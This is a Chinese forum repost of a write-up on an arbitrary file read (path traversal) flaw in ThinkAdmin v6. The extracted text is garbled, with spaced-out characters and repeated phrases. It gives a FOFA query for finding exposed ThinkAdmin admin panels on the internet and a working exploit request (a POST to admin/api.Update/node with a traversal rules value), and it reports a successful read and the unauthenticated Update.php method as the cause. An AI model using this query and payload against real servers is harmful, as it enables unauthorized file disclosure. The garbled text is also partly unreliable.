搜索

[711] 2020-09-24_Thinkadminv6任意文件读取漏洞

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-16
2020-09-24_Thinkadminv6任意文件读取漏洞 T h i n k a d m i n   v 6 任 意 文 件 读 取 漏 洞 原 创   黑 子 黑   b g b i n g 安 全   2 0 2 0 - 0 9 - 2 4 漏 洞 版 本 漏 洞 版 本 T h i n k a d m i n 版 本 小 于 版 本 小 于   ≤   2 0 2 0 . 0 8 . 0 3 . 0 1 漏 洞 利 用 过 程 漏 洞 利 用 过 程 用 用 f o f a 吧 ， 毕 竟 这 工 具 挺 好 用 的 ！ 吧 ， 毕 竟 这 工 具 挺 好 用 的 ！ f o f a 语 法 如 下 ： 语 法 如 下 ： 随 便 点 一 个 看 看 ， 有 没 有 这 个 漏 洞 ， 是 一 个 后 台 管 理 随 便 点 一 个 看 看 ， 有 没 有 这 个 漏 洞 ， 是 一 个 后 台 管 理 t i t l e = " 系 统 登 录   ·   T h i n k A d m i n "
直 接 就 上 直 接 就 上 h a c k b a r ， 利 用 ， 利 用 e x p 如 下 ： 如 下 ： 提 交 方 式 ： 漏 洞 U R L   :   漏 洞 参 数 ： 成 功 读 取 到 数 据 ！ 成 功 读 取 到 数 据 ！ P O S T / a d m i n . h t m l ? s = a d m i n / a p i . U p d a t e / n o d e r u l e s = [ " . / " ]
t h i n k a d m i n 简 介 : T h i n k A d m i n 是 一 套 基 于 T h i n k P H P 框 架 的 通 用 后 台 管 理 系 统 ， T h i n k A d m i n   的 权 限 管 理 基 于 标 准 R B A C 简 化 而 来 ， 去 除 了 繁 杂 的 节 点 管 理 ， 使 得 权 限 管 理 起 来 更 简 单 ， 具 体 包 含 节 点 管 理 、 权 限 管 理 、 菜 单 管 理 、 用 户 管 理 。 T h i n k A d m i n   6 版 本 存 在 路 径 遍 历 漏 洞 。 攻 击 者 可 利 用 该 漏 洞 通 过 G E T 请 求 编 码 参 数 任 意 读 取 远 程 服 务 器 上 的 文 件 。 T h i n k A d m i n     依 赖 自 制 组 件   T h i n k L i b r a r y   ， T h i n k L i b r a r y   是 针 对   T h i n k P H P   定 制 开 发 。 我 们 致 力 于 二 次 开 发 底 层 框 架 ， 提 供 完 整 的 组 件 及 A P I ， 基 于 此 框 架 可 以 快 速 开 发 应 用 。 另 外 项 目 安 装 及 二 次 开 发 可 以 参 考   T h i n k P H P   官 方 文 档 ， 数 据 库 文 件 摆 放 在 项 目 根 目 录 下 。 T h i n k A d m i n   非 常 适 用 快 速 二 次 开 发 ， 默 认 集 成   微 信 开 发 组 件 ， 支 持 微 信 服 务 号 、 微 信 支 付 、 支 付 宝 支 付 、 七 牛 云 存 储 、 本 地 服 务 器 存 储 、 阿 里 云 O S S 存 储 等 。   后 台 U I 基 于 最 新 版 本 的   L a y U I   及   R e q u i r e J s   加 载 第 三 方 插 件 （ 建 议 自 行 了 解   L a y U I   及   R e q u i r e J s ） 。 漏 洞 原 因 ： h t t p s : / / g i t h u b . c o m / z o u j i n g l i / T h i n k A d m i n / b l o b / v 6 / a p p / a d m i n / c o n t r o l l e r / a p i / U p d a t e . p h p U p d a t e . p h p 中 的 函 数 方 法 未 授 权 ， 可 直 接 函 数 可 直 接 调 用 。 导 致 漏 洞
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理